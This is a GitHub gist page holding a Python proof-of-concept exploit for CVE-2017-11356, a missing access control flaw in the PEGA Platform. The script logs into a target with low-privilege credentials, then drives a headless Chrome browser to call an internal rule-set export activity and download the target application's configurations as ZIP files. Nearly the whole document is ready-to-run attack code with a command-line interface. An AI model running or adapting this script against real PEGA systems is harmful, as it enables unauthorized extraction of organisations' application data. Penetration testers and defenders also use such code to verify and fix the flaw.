Skip to content

Instantly share code, notes, and snippets.

@klezVirus
Last active March 15, 2021 11:01
Show Gist options
  • Save klezVirus/25b0da06573744304beb6203feb26f3c to your computer and use it in GitHub Desktop.
Save klezVirus/25b0da06573744304beb6203feb26f3c to your computer and use it in GitHub Desktop.
CVE-2017-11356: PEGA Platform Missing Access Control
import requests
import sys
import argparse
import traceback
import pytest
import time
import json
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support import expected_conditions
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.support import expected_conditions as EC
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
class Driver:
def __init__(self, url=None):
chrome_options = Options()
chrome_options.headless = True
chrome_options.add_argument('log-level=3')
chrome_options.add_experimental_option('excludeSwitches', ['enable-logging'])
self.driver = webdriver.Chrome(options=chrome_options)
if url:
self.driver.get(url)
self.vars = {}
def set_cookies(self, cookies=None):
if cookies is None:
return
for c in cookies:
self.driver.add_cookie(c)
def teardown(self):
self.driver.quit()
def get_download_url(self, url=None):
self.driver.get(url)
try:
element = WebDriverWait(self.driver, 60).until(
EC.presence_of_element_located((By.CSS_SELECTOR, "a.ProgLabel"))
)
u = element.get_attribute("href")
return u
except Exception as e:
print(f"[-] Error exporting the configurations: {e}")
return
class ConfigDownloader:
DOWNLOAD_BY = ["APPLICATION",
"RULESET",
"PRODUCT"]
def __init__(self, user=None, password=None, target=None, app=None, random_token=None, version=None, filename=None, proxy=False):
self.session = requests.session()
self.user = user
self.password = password
self.token = None
self.categories = ConfigDownloader.DOWNLOAD_BY
self.app = app
self.filename = filename
self.version = version
self.random_token = random_token
self.origin = f"https://{target}"
self.baseurl = f"https://{target}/prweb/app/{self.app}/{self.random_token}*"
self.headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Mozilla/84.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": self.origin,
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Cache-Control": "max-age=0"}
self.proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} if proxy else None
self.driver = Driver(self.login_url)
@property
def login_url(self):
return f"{self.baseurl}/!STANDARD"
def export_url(self, by="APPLICATION"):
if by == "APPLICATION":
return f"{self.baseurl}/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName={self.filename}-{by}.zip&pyRuleSet={self.app}&pyRuleSetVersion={self.version}&pyAppContext=&PageName=pyZipMoveRuleSets"
elif by == "RULESET":
return f"{self.baseurl}/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName={self.filename}-{by}.zip&pyRuleSet={self.app}&pyRuleSetVersion={self.version}&pyAppContext=&PageName=pyZipMoveRuleSets"
elif by == "PRODUCT":
return f"{self.baseurl}/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName={self.filename}-{by}.zip&pyRuleSet={self.app}&pyRuleSetVersion=&pyAppContext=&PageName=pyZipMoveRuleSets"
else:
raise Exception("Unknown Export Type")
def login(self):
print("[*] Logging in... ", end="")
data = {"pzAuth": "guest",
"UserIdentifier": self.user,
"Password": self.password,
"pyActivity=Code-Security.Login": '',
"lockScreenID": '',
"lockScreenPassword": '',
"newPassword": '',
"confirmNewPassword": ''}
r = self.session.post(self.login_url, headers=self.headers, data=data, verify=False, proxies=self.proxies)
if not 303 in [sr.status_code for sr in r.history]:
print("FAILED")
print("[-] Authentication failure")
sys.exit(1)
print("SUCCESS")
cookies = [
{'name': c.name, 'value': c.value, 'domain': c.domain, 'path': c.path}
for c in self.session.cookies
]
self.driver.set_cookies(cookies)
def is_zip(self, url=None):
h = self.session.head(url, headers=self.headers, proxies=self.proxies, verify=False)
header = h.headers
content_type = header.get('content-type')
if 'zip' in content_type.lower():
return True
return False
def download(self, category=None):
if category is not None:
categories = [category]
else:
categories = self.categories
for c in categories:
print(f"[*] Trying downloading exporting Application Configurations by {c}")
url = self.driver.get_download_url(url=self.export_url(c))
if url and self.is_zip(url):
print(f"[*] Located Exported ZIP at {url}")
r = self.session.get(url, headers=self.headers, proxies=self.proxies, verify=False)
try:
fszip = f"{self.filename}-{c}.zip"
print(f"[*] Saving Application Configurations in {fszip}... ", end='')
with open(fszip, "wb") as zipconf:
zipconf.write(r.content)
print("SUCCESS")
except:
print("FAILED")
print("[-] Error saving the file")
def main():
parser = argparse.ArgumentParser(description='PEGA Platform - Configuration Downloader')
parser.add_argument(
'-f', '--file', required=False, type=str, default="configurations", help='Export ZIP Filename')
parser.add_argument(
'-c', '--by', required=False, type=str, choices=ConfigDownloader.DOWNLOAD_BY, help='Export by category')
parser.add_argument(
'-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')
parser.add_argument(
'-u', '--user', required=True, type=str, default=None, help='PEGA User')
parser.add_argument(
'-p', '--password', required=True, type=str, default=None, help='PEGA User\'s Password')
parser.add_argument(
'-t', '--target', required=True, type=str, default=None, help='Target Hostname')
parser.add_argument(
'-r', '--random-token', required=True, type=str, default=None, help='Target Application Token')
parser.add_argument(
'-a', '--app', required=True, type=str, default=None, help='Target Application Name')
parser.add_argument(
'-v', '--ver', required=True, type=str, default="01.01.01", help='Target Application Version')
args = parser.parse_args()
try:
stealer = ConfigDownloader(user=args.user, password=args.password, app=args.app, version=args.ver, filename=args.file, random_token=args.random_token, target=args.target, proxy=args.proxy)
stealer.login()
if args.by:
stealer.download(category=args.by)
else:
stealer.download()
except Exception as e:
print(f"[-] Fatal Error: {e}")
traceback.print_exc()
if __name__ == '__main__':
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment